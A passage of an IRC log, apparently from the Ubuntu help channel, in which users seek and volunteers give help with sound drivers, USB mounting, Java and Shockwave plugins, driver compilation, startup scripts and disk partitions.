[02:19] <jonnymac> don't have headphones around
[02:19] <riotkittie> fujin: is this an actual install, or is it the live CD?
[02:20] <jonnymac> I have USB speakers, I'll try them
[02:20] <fermatstheorem> jonnymac: advanced linux sound architecture
[02:20] <fujin> riotkittie, an actual install, I've tried installing from the livecd and the alternate cd
[02:20] <optimarcusprime> jonnymac: let us know if that works
[02:20] <fujin> on an LVM and not on normal partitioning
[02:20] <overclucker> jonnymac, Advanced Linux Sound Architecture (a kernel module)
[02:21] <emun> fermattheorem, when i click eject the light on the drive stays on, do i just pull the drive out
[02:21] <jonnymac> ok, ALSA is enabled/was enabled
[02:21] <optimarcusprime> emun: yes, as long as the eject was successful
[02:21] <fermatstheorem> emun: are you using a USB stick
[02:21] <jonnymac> i'll go try them now but can I just say as the new be I am, Gosh, you guys
[02:22] <emun> optimarcusprime , how do i know the eject was successful please
[02:22] <optimarcusprime> emun: did the icon disappear from your desktop?
[02:22] <emun> yes i am using usb stick
[02:22] <fujin> riotkittie, any ideas?
[02:23] <stoned> hi
[02:23] <pwnd_`> Can anyone help me install Netgear FA311 V2 drivers?
[02:23] <fermatstheorem> emun: did it say safe to remove (a msg, at lower right hand corner)
[02:23] <optimarcusprime> emun: yes as in it did disappear?
[02:23] <fermatstheorem> pwnd_`: do you have the driver disk with u?
[02:23] <pwnd_`> I do
[02:23] <pwnd_`> It only gives instructions for Redhat though
[02:23] <fermatstheorem> pwnd_`: are there rpms in it?
[02:23] <pwnd_`> No
[02:23] <MatBoy> Hehe, the nelson Mandela movie is kewl :D
[02:23] <fermatstheorem> pwnd_`: shell scipts?
[02:24] <banie_> my problem solve
[02:24] <Torahteen> How do mount a usb drive in the terminal? Or perhaps Feisty auto-mounted it, in which case, what folder does Ubuntu usually mount to?
[02:24] <jonnymac> no USB speakers don't work either
[02:24] <banie_> puish
[02:24] <pwnd_`> There's a c, h, makefile and tbl files
[02:24] <Marduk> I execute my script by typing ./scriptname ... So after copying it to /etc/init.d, do I type update-rc.d ./scriptname defaults, or is it update-rc.d scriptname defaults? Or is it the same?
[02:24] <stoned> The share '//Laptop/stoned' could not be mounted.  smbmnt must be installed suid root for direct user mounts (1000,1000).  Please advise
[02:24] <optimarcusprime> Torateen: /media/disk
[02:24] <banie_> push alsamixer at maximum
[02:24] <stoned> !suid
[02:24] <Ubotu> Sorry, I don't know anything about suid - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[02:24] <stoned> !root
[02:24] <Ubotu> Do not try to guess the root password, that is impossible. Instead, realise the truth.. there is no root password. Then you will see that it is sudo that grants you access and not the root password. Look at https://help.ubuntu.com/community/RootSudo
[02:24] <Some_ux> I cant seem to be able to connect to using ssh from outside my home network.
[02:24] <Torahteen> Thank you optimarcusprime
[02:24] <bruenig> Marduk, ./ simple means current directory
[02:24] <bruenig> Marduk, so when you are dong ./ you are effectively just typing the path to the script
[02:24] <Marduk> Oh, okay
[02:24] <Xenguy> hahah
[02:25] <stoned> Xenguy: thats good huh
[02:25] <stoned> We are in the Ubuntu matrix
[02:25] <Xenguy> yep
[02:25] <Some_ux> I'm told my router to forward the ssh ports, but it still does not work
[02:25] <Some_ux> neither does webmin
[02:25] <RedRose> Does Fat32 have a problem with large files? I've trying to transfer a 10gb file from my NTFS to my FAT32 and it's saying that the file is too big for the destination filesource
[02:25] <Some_ux> what am i doing wrong ?
[02:25] <RedRose> file system*
[02:25] <pwnd_`> fermatstheorem, would MAKEFILE be the shell script? I have Ubuntu running on a seperate machine just to learn it.
[02:25] <fermatstheorem> i used to change .wmrc entries to swtich desktops in other distros. what is the equivalent thingie in ubuntu? i want to boot up to runlevel 3 and then do a startx
[02:26] <fermatstheorem> pwnd_`: MAKEFILE is a file to resolve dependencies to compile the direver
[02:26] <Torahteen> I plugged in my USB drive, and it's didn't auto-mount it apparently
[02:26] <emun> which icon are you referring to for the usb stick , now i am confused, can someone please tell me step by step how to remove safely the usb stick?
[02:26] <avt3kk> guys I want to do java in dapper ubuntu but I dont see it in my add remove aplications????? why is this and how to I install sun java
[02:26] <Torahteen> How can I mount it?
[02:26] <pwnd_`> Ah
[02:26] <fermatstheorem> pwnd_`: type "make"
[02:26] <fermatstheorem> no
[02:26] <fermatstheorem> pwnd_`: sorry
[02:26] <pwnd_`> :P
[02:26] <pwnd_`> It's fine
[02:26] <Marduk> bruenig, okay, so I should type update-rc.d ./scriptname defaults, yes?
[02:26] <bruenig> fermatstheorem, a makefile is the thing which compiles
[02:26] <avt3kk> I want to install sun java
[02:26] <fermatstheorem> pwnd_`: is there a configure shells csipt in the folder
[02:26] <avt3kk> how
[02:26] <avt3kk> I want an easy way lol
[02:26] <optimarcusprime> avt3kk: sudo apt-get install javacc
[02:26] <Xaelgrim> where is alsaconfig?
[02:26] <avt3kk> k
[02:26] <travisbickle> hey guys whats the command to list all partition tables?
[02:26] <bruenig> Marduk, no, that you are typing ./ is only a result of the fact you are in the current directory, if you were in another directory, it would be something else
[02:27] <pwnd_`> There's a c file, a h (header) file, a tbl file and makefile fermatstheorem
[02:27] <Torahteen> How do I mount a USB flash drive?
[02:27] <Xaelgrim> !alsaconfig
[02:27] <ghostkernel> wow,this community is growing pretty fast,its a good thing
[02:27] <Ubotu> Sorry, I don't know anything about alsaconfig - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[02:27] <ghostkernel> lol :)
[02:27] <fermatstheorem> bruenig: it doesnt compike, it only says which cources ar e to be compiled etc. dependency resolver
[02:27] <avt3kk> as root???
[02:27] <avt3kk> opti
[02:27] <fermatstheorem> pwnd_`: hit "make" then
[02:27] <optimarcusprime> avt3kk: unless you don't have to
[02:27] <pwnd_`> k
[02:27] <optimarcusprime> avt3kk: i usually apt-get as sudo
[02:27] <fermatstheorem> pwnd_`: it might throw errors for missing libraries..we will have to see
[02:27] <Marduk> bruenig then how do I get it to run on startup?
[02:27] <bruenig> fermatstheorem, make is the thing which calls gcc
[02:27] <avt3kk> k ty
[02:27] <bruenig> fermatstheorem, the Makefile is I mean
[02:27] <avt3kk> so it should work?
[02:27] <fermatstheorem> bruenig: agreed.
[02:27] <jonnymac> ubotu: the USB speakers don't work either so my guess is the sound card is perhaps not supported?
[02:28] <bruenig> Marduk, no ./
[02:28] <pwnd_`> fermatstheorem, should I copy it somewhere onto my hd first?
[02:28] <bruenig> fermatstheorem, the configure script checks for dependencies
[02:28] <optimarcusprime> avt3kk: well, is what you're trying to do writing and compiling java?
[02:28] <fermatstheorem> pwnd_`: did you google for ubuntu drivers?
[02:28] <pwnd_`> And, unless I have to do it through the terminal, there's no "make" option.
[02:28] <pwnd_`> fermatstheorem, I did.
[02:28] <Marduk> hmm
[02:28] <fermatstheorem> pwnd_`: copy to your home folder and hit make
[02:28] <pwnd_`> Alright
[02:28] <avt3kk> opti I want to see java in firefox lol
[02:28] <iratsu> Are there good multifunction monochrome laser printers for linux?
[02:28] <avt3kk> jvm
[02:28] <Marduk> bruenig, but if I go to the directory where the script is located, and type it without the ./, it doesn't work... Thats not a problem?
[02:28] <Xaelgrim> can someone please help me with some sound issues?
[02:28] <CarlFK> what is a good app to scribble up a floor plan, where 'quick' is the main goal?
[02:29] <Xaelgrim> or lack therof
[02:29] <avt3kk> like on a website
[02:29] <Torahteen> Can anyone please help me? I'm on an ubuntu machine without a GUI, how do I mount a USB flash drive/
[02:29] <bruenig> Marduk, no
[02:29] <optimarcusprime> avt3kk: ooooh.... that's something different
[02:29] <pwnd_`> fermatstheorem, I see Make Link
[02:29] <Marduk> okay :)
[02:29] <Xaelgrim> !sound
[02:29] <Ubotu> If you're having problems with sound, first ensure ALSA is selected, by double clicking on the volume control, then File -> Change Device (ALSA Mixer). If that fails, see https://help.ubuntu.com/community/Sound - https://help.ubuntu.com/community/SoundTroubleshooting - http://alsa.opensrc.org/index.php?page=DmixPlugin - For playing audio files, see !Players and !MP3
[02:29] <optimarcusprime> avt3kk: obviously
[02:29] <bruenig> Marduk, ./ is like ~
[02:29] <pwnd_`> Sorry to be a bother, btw :/
[02:29] <iratsu> !printers
[02:29] <Ubotu> Printing in Ubuntu is done with cups. See https://help.ubuntu.com/community/Printers - https://wiki.ubuntu.com/HardwareSupportComponentsPrinters - http://linuxprinting.org - Printer sharing: https://wiki.ubuntu.com/NetworkPrintingFromWindows
[02:29] <avt3kk> now how I uninstall the cr@p you had me install
[02:29] <fermatstheorem> pwnd_`: did you go inside and type make?
[02:29] <Xaelgrim> there is no file button!!!!!!!!!!!!!!!!!!!!!!!!
[02:29] <bruenig> Marduk, in terms of paths, it is just a shortcut to be able to give a path to something in order to run it
[02:29] <Torahteen> !mount
[02:29] <Ubotu> Partitioning programs: !GParted or QTParted (also "man mkfs" for formatting) - Mounting partitions in Gnome under Dapper: System -> Administration -> Disks - For Edgy, see !fstab and !DiskMounter
[02:29] <optimarcusprime> avt3kk: sudo apt-get remove javacc
[02:29] <fermatstheorem> pwnd_`: inside the directory
[02:29] <avt3kk> k
[02:29] <Aethelred> I have Ubuntu 7.04 64-bit and I need a 32-bit firefox to install. I still want to use the standard 64-bit Firefox as my regular browser, but I need to refer some other software to a 32-bit version. I don't show any sources for this. Where can I get a .deb?
[02:29] <pwnd_`> fermatstheorem, I didn't. Hah, one second.
[02:29] <Marduk> bruenig, okay, I get it now, thanks :)
[02:30] <avt3kk> opti now how do I see java in firefox???
[02:30] <Torahteen> Can someone please help me?
[02:30] <optimarcusprime> avt3kk: In Firefox: Edit > Preferences > Content> Check Enable Java
[02:30] <Torahteen> How do I mount my USB flash drive? Since it didn't get automounted
[02:30] <emeriste> How ubuntu with Scanners?
[02:30] <benzss> Aethelred: http://ubuntuforums.org/showthread.php?t=202537
[02:30] <optimarcusprime> emeriste: Not too good.  Depends on the model.
[02:30] <emeriste> Can I go buy a cheap scanner from Best Buy tomorrow and reasonably expect it to work with Ubuntu?
[02:30] <optimarcusprime> emeriste: I've got one that doesn't work
[02:31] <Torahteen> I cded to /media/ and did an ls and only got cdrom and cdrom0
[02:31] <jrib> !flash64 > Aethelred (see the private message from ubotu)
[02:31] <Xaelgrim> Can ANyone Please Help Me With Sound Issues?
[02:31] <optimarcusprime> emeriste: You should do some Googling and find out what works
[02:31] <emeriste> Is there a list of scanners that will work with Ubuntu ?
[02:31] <pwnd_`> fermatstheorem, I don't know where this make is :/ It's not a command either.
[02:31] <optimarcusprime> emeriste: Google.
[02:31] <jrib> !scanner > emeriste (see the private message from ubotu)
[02:31] <Timbooooo> i just followed a guide with ndiswrapper and now my wireless card isnt being seen
[02:31] <optimarcusprime> emeriste: Or search the ubuntuforums.org for a list.  I've sure it works
[02:31] <Aethelred> benzss: thanks.
[02:31] <fermatstheorem> pwnd_`: sudo apt-get install build-essential
[02:31] <Marduk> bruenig, it said its adding it in /etc/rc0.d,rc1,rc2,rc3,rc4,rc5.. Whats all that?
[02:32] <Torahteen> How do I mount my USB flash drive? Since it didn't get automounted
[02:32] <fermatstheorem> pwnd_`: you dnot have build tools
[02:32] <Torahteen> I cded to /media/ and did an ls and only got cdrom and cdrom0
[02:32] <pwnd_`> Ah, alright
[02:32] <Timbooooo> anyone help me with getting my wireless to work? about to go back to winxp lolz
[02:32] <KuBuS> hi i newbi in ubuntu
[02:32] <Xaelgrim> Can ANyone Please Help Me With Sound Issues?
[02:32] <jrib> !wireless > Timbooooo (see the private message from ubotu)
[02:32] <optimarcusprime> Torahteen: What's in your /media folder?
[02:32] <jrib> !sound > Xaelgrim (see the private message from ubotu)
[02:32] <Torahteen> only cdrom and cdrom0, as I said
[02:32] <avt3kk> its check to use java but jvm isnt working why??
[02:32] <bruenig> Marduk, the init system ubuntu uses has 6 directories of symlinks for some baffling reason and so it is adding those symlinks
[02:32] <avt3kk> in firefox
[02:32] <Xaelgrim> jrib: I tried that faq it wasnt the least bit helpful
[02:32] <avt3kk> hm
[02:32] <Timbooooo> jrib i followed something and now i dont even have a wireless connection in the network menu
[02:33] <optimarcusprime> avt3kk: What's the error?
[02:33] <pwnd_`> fermatstheorem, "not avail, but is referred to by another pakcate"
[02:33] <jrib> Xaelgrim: then you need to provide more details or people can only give you general help
[02:33] <pwnd_`> StoneNote: I have no connection on that computer.
[02:33] <pwnd_`> Uhh, Note*
[02:33] <avt3kk> I see clover leaf click to download plugin
[02:33] <speps> hi guys.What about ubuntu feisty 64 bit fonts improvements???Please help me...there are no more repositories!Thanks
[02:33] <fermatstheorem> pwnd_`: pakcate?
[02:33] <avt3kk> I mean puzzle
[02:33] <Marduk> bruenig, okay.. Will it also get executed after resuming from hibernation, or only when the system's turned on after a normal shutdown / reboot?
[02:33] <Xaelgrim> jrib: I know my audio card is detected, but i cant hear any sound
[02:33] <Torahteen> optimarcusprime, only cdrom and cdrom0
[02:33] <Torahteen> I g2g for a bit, dinner
[02:33] <Torahteen> I'll brb though
[02:33] <optimarcusprime> ok
[02:33] <bruenig> Marduk, normal shutdown / reboot
[02:34] <Marduk> perfect
[02:34] <Marduk> :D
[02:34] <pwnd_`> fermatstheorem, idk :/
[02:34] <avt3kk> Optima it says click to download the plugin and it should be that java bean dancing
[02:34] <speps> hey guys!I need an ubuntu feisty 64 bit user!...Help!
[02:34] <Timbooooo> jrib dell inspiron 1150, bcm43xx card, wireless card not seen in the network menu
[02:34] <fermatstheorem> speps: pray tell me your problem, sir
[02:34] <Xaelgrim> Can someone please help me get my sound working???
[02:34] <jrib> Timbooooo: I don't know anything about wireless
[02:34] <x_> sound ?
[02:34] <Marduk> bruenig, and how do I go about removing it from startup if I decide I no longer want it?
[02:35] <x_> what kind of ur sound ?
[02:35] <x_> HD ?
[02:35] <optimarcusprime> avt3kk: https://help.ubuntu.com/community/Java
[02:35] <avt3kk> heres the link to test http://www.java.com/en/download/help/testvm.xml
[02:35] <optimarcusprime> avt3kk: Looks like there are some instructions there
[02:35] <Xaelgrim> i want tpo be able to hear music and audio from my media
[02:35] <avt3kk> ook ty
[02:35] <bruenig> Marduk, probably a similar way using the updaterc. or whatever it is, just read through the arguments in that
[02:35] <emeriste> Do any of you use a scanner?
[02:35] <Xaelgrim> my sound card is detected
[02:35] <optimarcusprime> avt3kk: Let me know if that doesn't work
[02:35] <speps> fermatstheorem: thank you!I need to improve my ubuntu fonts ... but there are no more repositories for libfreetype6 libcairo etc...how can i solve?
[02:35] <Xaelgrim> but i hear nothing
[02:35] <Marduk> okay.
[02:35] <pwnd_`> fermatstheorem, was that supposed to be another package?
[02:36] <fermatstheorem> pwnd_`: pleaes install builld-essential
[02:36] <pwnd_`> fermatstheorem, it said it couldn't find it
[02:36] <pwnd_`> Unless
[02:36] <Xaelgrim> Can someone please help me get my sound working???
[02:36] <pwnd_`> There's supposed to be two 'l's in build ...
[02:36] <fermatstheorem> pwnd_`: typo, build-essential
[02:36] <pwnd_`> Alright, haha
[02:36] <Moniker42> !alsa | Xaelgrim
[02:36] <Ubotu> Xaelgrim: If you're having problems with sound, first ensure ALSA is selected, by double clicking on the volume control, then File -> Change Device (ALSA Mixer). If that fails, see https://help.ubuntu.com/community/Sound - https://help.ubuntu.com/community/SoundTroubleshooting - http://alsa.opensrc.org/index.php?page=DmixPlugin - For playing audio files, see !Players and !MP3
[02:36] <avt3kk> um seems its trying to install javacc should I or no lol
[02:37] <Moniker42> Xaelgrim, if that factoid doesn't fix your problem try the #alsa channel :)
[02:37] <fermatstheorem> speps: inclue the multiverse and restriected repositories and search for fonts
[02:37] <optimarcusprime> avt3kk: No.
[02:37] <pwnd_`> fermatstheorem, it said it is unavailable but referred to by another package.
[02:37] <avt3kk> ook
[02:37] <fermatstheorem> speps: the repos have M$ fonts too
[02:37] <emosamurai> I have a question. Whenever I search for a word in Firefox and I keep typing characters that aren't on the page, my laptop beeps. How do I turn that off?
[02:37] <optimarcusprime> avt3kk: You want the instructions further down the page: https://help.ubuntu.com/community/Java#head-7f353d2f3fb1a09aac09cf1caee565e897319306
[02:37] <fermatstheorem> pwnd_`: what package?
[02:37] <channel200> Can anyone offer advice on cleaning up my partition map on a multi-boot system?
[02:37] <jrib> emosamurai: system -> preferences -> sounds  "beep" tab
[02:37] <pwnd_`> fermatstheorem, build-essentials
[02:37] <pwnd_`> -s
[02:37] <fermatstheorem> pwnd_`: yup
[02:37] <Torahteen> NM, optimarcusprime, was a false alarm lol
[02:38] <speps> fermatstheorem: i see ... but i used it too ... but the antialias does not work ... (i have 64 bit ubuntu feisty)
[02:38] <optimarcusprime> Torahteen: What was it?
[02:38] <emosamurai> Thank you, jrib. 5 billion experience points for you.
[02:38] <avt3kk> what version is ubuntu dapper drake?
[02:38] <pwnd_`> fermatstheorem, yup what? It's not supposed to be found? :P
[02:38] <Torahteen> optimarcusprime, It's not ready yet... anyway...
[02:38] <fermatstheorem> pwnd_`: get the build-essentials
[02:38] <optimarcusprime> avt3kk: Dapper is the version two before feisty
[02:38] <avt3kk> o
[02:38] <Torahteen> optimarcusprime, How would I mount my USB
[02:38] <Torahteen> ?
[02:38] <pwnd_`> fermatstheorem, how do I get it when it's not there?
[02:39] <Augustus_Kolya> Dapper is 6.06 LTS
[02:39] <fermatstheorem> pwnd_`: you said you found build-essentials..right?
[02:39] <travisbickle> can anybody help me with ntfs-config? This is the message I got: Mounting /media/100gb failed.
[02:39] <travisbickle> Failed to read last sector (234449338): Invalid argument
[02:39] <travisbickle> Perhaps the volume is a RAID/LDM but it wasn't setup yet, or the
[02:39] <travisbickle> wrong device was used, or the partition table is incorrect.
[02:39] <travisbickle> Failed to startup volume: Invalid argument
[02:39] <travisbickle> Failed to mount '/dev/sdb2': Invalid argument
[02:39] <travisbickle> The device '/dev/sdb2' doesn't have a valid NTFS.
[02:39] <avt3kk> ty
[02:39] <travisbickle> Maybe you selected the wrong device? Or the whole disk instead of a
[02:39] <travisbickle> partition (e.g. /dev/hda, not /dev/hda1)? Or the other way around?
[02:39] <bruenig> !ops
[02:39] <Ubotu> Help! Mez, LjL, elkbuntu, imbrandon, DBO, gnomefreak, Hobbsee, rob, ompaul, Madpilot, Burgundavia, Seveas, CarlK, crimsun, ajmitch, tritium, Nalioth, thoreauputic, apokryphos, tonyyarusso, PriceChild, Amaranth, jrib, jenda, nixternal, Myrtti, mneptok or Pici
[02:39] <bruenig> hmmm, its over
[02:39] <pwnd_`> fermatstheorem, I said when I did apt-get install it said it was unavailable but referred to by another package
[02:39] <Torahteen> optimarcusprime, You still there?
[02:39] <optimarcusprime> Torahteen: http://www.linuxforums.org/forum/linux-tutorials-howtos-reference-material/15776-how-mount-usb-flash-drives-linux.html
[02:39] <connectedmico> help please with posqresql server config .... :s it's 1:39 in the morning and i'm still working
[02:39] <optimarcusprime> Torahteen: Google is your friend
[02:40] <avt3kk> why cant it find the package sun java???? ( sudo apt-get install sun-java5-bin )
[02:40] <jrib> !paste | travisbickle
[02:40] <fermatstheorem> pwnd_`: could you paste the output in pastebin
[02:40] <Ubotu> travisbickle: pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (make sure you give us the URL for your paste - see also the #ubuntu channel topic)
[02:40] <channel200> some guidance on grub, then?
[02:40] <optimarcusprime> avt3kk:
[02:40] <bruenig> !info sun-java5-bin
[02:40] <Ubotu> sun-java5-bin: Sun Java(TM) Runtime Environment (JRE) 5.0 (architecture dependent files). In component multiverse, is optional. Version 1.5.0-11-1ubuntu2 (feisty), package size 21831 kB, installed size 65204 kB
[02:40] <pwnd_`> fermatstheorem, give me a minute. I have to type it from the other computer, ahah.
[02:40] <Torahteen> eek, I'm in a non-GUI optimarcus :( I suppose I'll go on another computer instead
[02:40] <fermatstheorem> speps: http://www.drquincy.com/personal/blog/permalink/getsmoohterantialiasingonubuntu/
[02:40] <jrib> bruenig: was there something else?
[02:40] <optimarcusprime> avt3kk: Make sure you've got the right repos added
[02:40] <optimarcusprime> Torahteen: That page is in text
[02:41] <optimarcusprime> Torahteen: I could copy/paste for you
[02:41] <optimarcusprime> Torahteen: Or walk you through it...
[02:41] <avt3kk> opti how?
[02:41] <odla> does anyone know what the onscreen volume display in GNOME is called?
[02:42] <avt3kk> I checked all the repositorys
[02:42] <avt3kk> and reloaded lol
[02:42] <connectedmico> anybody uses postgresql ? please ?
[02:42] <pwnd_`> fermatstheorem http://pastebin.ca/694838
[02:42] <channel200> connectedmico: what do you need?
[02:42] <mneptok> avt3kk: did you enable Multiverse?
[02:43] <avt3kk> all of them
[02:43] <optimarcusprime> avt3kk: If those instructions are no good, try these: http://blog.clickonline.org.au/2007/04/30/ubuntu-linux-tip-of-the-day-installing-java-and-flash-on-ubuntu-firefox-and-other-browsers-fiesty-edgy-dapper-breezy/
[02:43] <LadyNikon> connectedmico: there is a #postres on this server
[02:43] <mneptok> avt3kk: sudo apt-get install sun-java6-plugin
[02:43] <connectedmico> ok tnks
[02:43] <avt3kk> ty
[02:43] <connectedmico> LadyNikon ok tnks
[02:43] <Aethelred> what?
[02:43] <optimarcusprime> avt3kk: Yeah, these look a little more clear.
[02:43] <flush> anyone familiar with the dd-wrt firmware?
[02:44] <connectedmico> channel200 just need to create a user to acess postgresql
[02:44] <mneptok> flush: somewhat
[02:44] <thedash> is there any way to emulate the dvd:// function from another folder ?
[02:44] <speps> fermatstheorem: thanks. now i check if it works (i wish) ...Ah ... can i call you "ifpisaprimenumberandaisanyintegerthatdoesnothavepasafactorthenaraisedtothep-1powerwillleavearemainderof1whendividedbyp"
[02:44] <speps> ;)
[02:44] <connectedmico> channel200 and can't get straight answer thru web
[02:44] <odla> does anyone know what the onscreen volume display in GNOME is called?
[02:44] <jrib> odla: pretty sure it's part of gnome-settings-daemon (in the gnome-control-center package)
[02:44] <avt3kk> brb its installing :)
[02:44] <Xaelgrim> Check to see if the ALSA driver for your sound card exists. Go to [WWW]  http://www.alsa-project.org/alsa-doc/ and search for your sound card (chipset) manufacturer in the dropdown box.
[02:44] <bkhype> anyone help me install avant window navigator, i tried #effects they are dead
[02:44] <fermatstheorem> speps: i'd raher prefer the a^n+b^n=c^n
[02:45] <flush> do you know how i can see/set the Tx power via ssh with the dd-wrt firmware ?
[02:45] <Xaelgrim> there is no dropdown box
[02:45] <odla> jrib: ok ... i'll take a look at that ... thanks
[02:45] <channel200> connectedmico: have you tried using webmin to administer?
[02:45] <mneptok> !info gnome-volume-manager
[02:45] <Ubotu> gnome-volume-manager: GNOME daemon to auto-mount and manage media devices. In component main, is optional. Version 2.17.0-0ubuntu2 (feisty), package size 163 kB, installed size 2960 kB
[02:45] <fermatstheorem> pwnd_`: ddi you check your repositories?
[02:45] <mneptok> bzzzt
[02:45] <pwnd_`> fermatstheorem, I have no internet connection, so I don't think that'd matter.
[02:45] <pike__> flush: iwconfig perhaps? ifconfig?
[02:45] <connectedmico> channel200 ups .. no
[02:46] <travisbickle> Some contents of my drive are unreadable? Does this have anything to do with mounting wrong? I could see those files in windows.
[02:46] <fermatstheorem> pwnd_`: oops
[02:46] <connectedmico> channel200 i'll try
[02:46] <pwnd_`> x] 
[02:46] <flush> pike__ nah..
[02:46] <Xaelgrim> OMG THIS IS SOOO FRUSTRATING
[02:46] <fermatstheorem> pwnd_`: you need hte dev tools to compile the stuff. which isprovided by build-essential
[02:46] <pwnd_`> I guess I'm f'd?
[02:46] <pwnd_`> Or could I get someone to build them for me?
[02:47] <Xaelgrim> Why is it so hard to just get sound on my laptop!?
[02:47] <jrib> pwnd_`: what are you trying to do?
[02:47] <fermatstheorem> pwnd_`: you might want to search for that .deb package
[02:47] <channel200> connectedmico: the postgres module for webmin is quite good and will probably save you some grief
[02:47] <pwnd_`> jrib, install netgear fa311 card drivers
[02:47] <fermatstheorem> jrib: he is trying to compile a driver,
[02:47] <pwnd_`> fermatstheorem, I'll look around
[02:47] <pwnd_`> Thanks for your help
[02:47] <jrib> pwnd_`: build-essential is on the cd you installed ubuntu with.  But have you seen the wireless docs on the wiki?
[02:47] <optimarcusprime> avt3kk: Did it work?
[02:47] <avt3kk> Opti your a genius!!! :) ty
[02:48] <pwnd_`> jrib, it's wired.
[02:48] <optimarcusprime> avt3kk: Niiiice.
[02:48] <avt3kk> it works like a charm :D
[02:48] <avt3kk> Opti is it as easy to install shockwave?
[02:48] <pwnd_`> jrib, my ubtunu sees it in the package manager, but in networking it doesn't work
[02:48] <newdude> hey there guys i tried the live cd to resize my paritions, i think i really stuffed up though ill post the pic of the screen shot of gmparted
[02:48] <connectedmico> channel200 tnaks 4 the tip, but it's still not working :( I haje downloaded latest version of postgresql v8.2
[02:48] <optimarcusprime> avt3kk: shockwave?
[02:48] <avt3kk> ya
[02:48] <optimarcusprime> avt3kk: I've never tried
[02:49] <channel200> connectedmico: what's not working?
[02:49] <optimarcusprime> avt3kk: Best I can say is Google.  I gotta go, class is over.  Peace! :)
[02:49] <avt3kk> Opti wait http://www.adobe.com/shockwave/welcome/
[02:49] <Xaelgrim> Is there noone that can help me with this problem!?
[02:49] <avt3kk> theres the shockwave test
[02:49] <jrib> !support > Xaelgrim (see the private message from ubotu)
[02:49] <Xaelgrim> noone has ever experienced this problem before?
[02:50] <avt3kk> guys who knows how to install shockwave?
[02:50] <Xaelgrim> *sigh
[02:50] <jrib> Xaelgrim: stop doing that please.  Just ask your question with all your details and wait
[02:50] <Xaelgrim> I have
[02:50] <fermatstheorem> avt3kk: shockwave flash?
[02:50] <avt3kk> http://www.adobe.com/shockwave/welcome/
[02:50] <jrib> !schockwave > avt3kk (see the private message from ubotu)
[02:50] <avt3kk> see the test?
[02:50] <Xenguy> Xaelgrim: it may take some patience
[02:50] <pwnd_`> jrib, any ideas with it being wired instead?
[02:50] <Xaelgrim> I said before, but i get flooded out
[02:50] <newdude> heres my screen shot of my parition problem :S http://i192.photobucket.com/albums/z101/goneburger/Screenshot-2.png
[02:50] <Xaelgrim> I was aksing for help with a sound issue
[02:50] <newdude> ive got un allocated space now
[02:50] <Xaelgrim> I cant hear anything
[02:51] <newdude> but i cant add it on to the ubuntu partition :S
[02:51] <speps> fermatstheorem: nothing to do ... i explain my issue. My fonts were good. I had an update last day. the package gsfonts-x11 was replaced for also nspluginwrapper. After that my fonts become ugly. Not everywere. Just for default firefox fonts. tcl/tk fonts (aMsn) and some pdf to.Now i don't know i can i solve it.Can you help me?
[02:51] <Xaelgrim> I tried the faq that was given to me but it is faulty
[02:51] <jrib> !enter | Xaelgrim
[02:51] <Ubotu> Xaelgrim: Please try to keep your questions/responses on one line - don't use the "Enter" key as punctuation!
[02:51] <matthew_> Xaelgrim, what sound card
[02:51] <jrib> pwnd_`: not really.  I see a lot of hits on google though.  Some suggest that you recompile your kernel.  Is that what you were trying?
[02:51] <Xenguy> !sound > Xaelgrim
[02:51] <Xaelgrim> ill get it
[02:51] <avt3kk> I need wine ;)
[02:51] <fermatstheorem> speps: sorry. i know as much as google knows :p
[02:51] <Xaelgrim> stop with the !sound pelase it doesnt work
[02:51] <zach0090> How do i Setup a P
[02:51] <Xenguy> hah
[02:51] <avt3kk> https://help.ubuntu.com/community/Shockwave
[02:52] <pwnd_`> jrib, not at all. I just get other people's problems, but nothing suggesting doing that. I dont' even know how to do that.
[02:52] <avt3kk> and I dont drink :P lol
[02:52] <matthew_> xaelgrim, what sound card
[02:52] <pike__> Xaelgrim: what sound card??
[02:52] <Xaelgrim> im looking i have to find the command again
[02:52] <Asuka> How do I set up my printer?
[02:52] <matthew_> ok
[02:52] <fermatstheorem> jrib: if i am not wrong, pwnd is trying to compile the driver, i aint seen thedocumentation,
[02:53] <channel200> can anyone describe how to configure grub to boot multiple Linux installations?
[02:53] <pike__> Asuka: easiest way to find out may be to do a google search like:  "site:ubuntuforums.org printermodel"  or site:linuxprinting.org printermodel though linuxprinting wont hold yer hand like forums will
[02:53] <speps> fermatstheorem: another little issue. i use AWN i don't know why also...after that update ... when i point over the icons, the topic leaves some trace on the screen. it's dirty...how can i solve it?
[02:53] <Xaelgrim> Intel Corporation 82801G (ICH7 Family) High Definition Audio Controller (rev 02)
[02:53] <matthew_> xaelgrim: lspci -v?
[02:53] <matthew_> oh that one
[02:53] <matthew_> I have the same one
[02:53] <newdude> anyone know how to relocate unallocated diskpace to an existing partion(paritcularly the ubunto partion?) heres a pic of what i mean: http://i192.photobucket.com/albums/z101/goneburger/Screenshot-2.png
[02:54] <Xaelgrim> dunno why it wont work
[02:54] <matthew_> Xaelgrim, you should be using the intel-HDA driver I think
[02:54] <fermatstheorem> speps: strange. have you tried restarting X?
[02:54] <Xaelgrim> i tried that faq but it is faulty
[02:54] <pwnd_`> fermatstheorem, that's pretty much what I'm doing atm. But like I said to jrib (I hope I did :/) it's available in the device manager, but not in networking.
[02:54] <Xaelgrim> yes ive restared
[02:54] <matthew_> xaelgrim: or the sigmatel driver. Both kind of work
[02:54] <kringel_> hi there! have a question about strange behaviour in yelp. can you reproduce this? i will describe in the following:
[02:54] <Xaelgrim> *restarted
[02:54] <technomom> Can anyone recommend a good wireless print server that can serve Windows and Ubuntu, HP and Dell printers?
[02:54] <matthew_> xaelgrim: but yeah, in either case, microphone support is poor
[02:54] <speps> fermatstheorem: so many times
[02:54] <technomom> ok....maybe not the Dell.....
[02:54] <SpudDogg> sup all
[02:55] <Xaelgrim> how do i get the drivers?
[02:55] <kringel_> start yelp an search for xorg.conf or type man:xorg.conf in the search field (or from terminal yelp man:xorg.conf
[02:55] <channel200> newdude: resize the existing partitions.
[02:55] <matthew_> xaelgrim: and also, be aware that you can only have 1 sound device using it at a time. So don't expect sound from gaim if XMMS is running
[02:55] <xaut> how can the grub to boot menu support Chinese?  i change it to Chinese character,but it doesn't work well....
[02:55] <kringel_> as you will see all "quotation marks" there will be displayed as the letter q
[02:55] <riotkittie> you may need to move the ubuntu partition so it's before the unallocated space before you can combine them.
[02:55] <matthew_> xaelgrim: you can download the source from the ALSA project
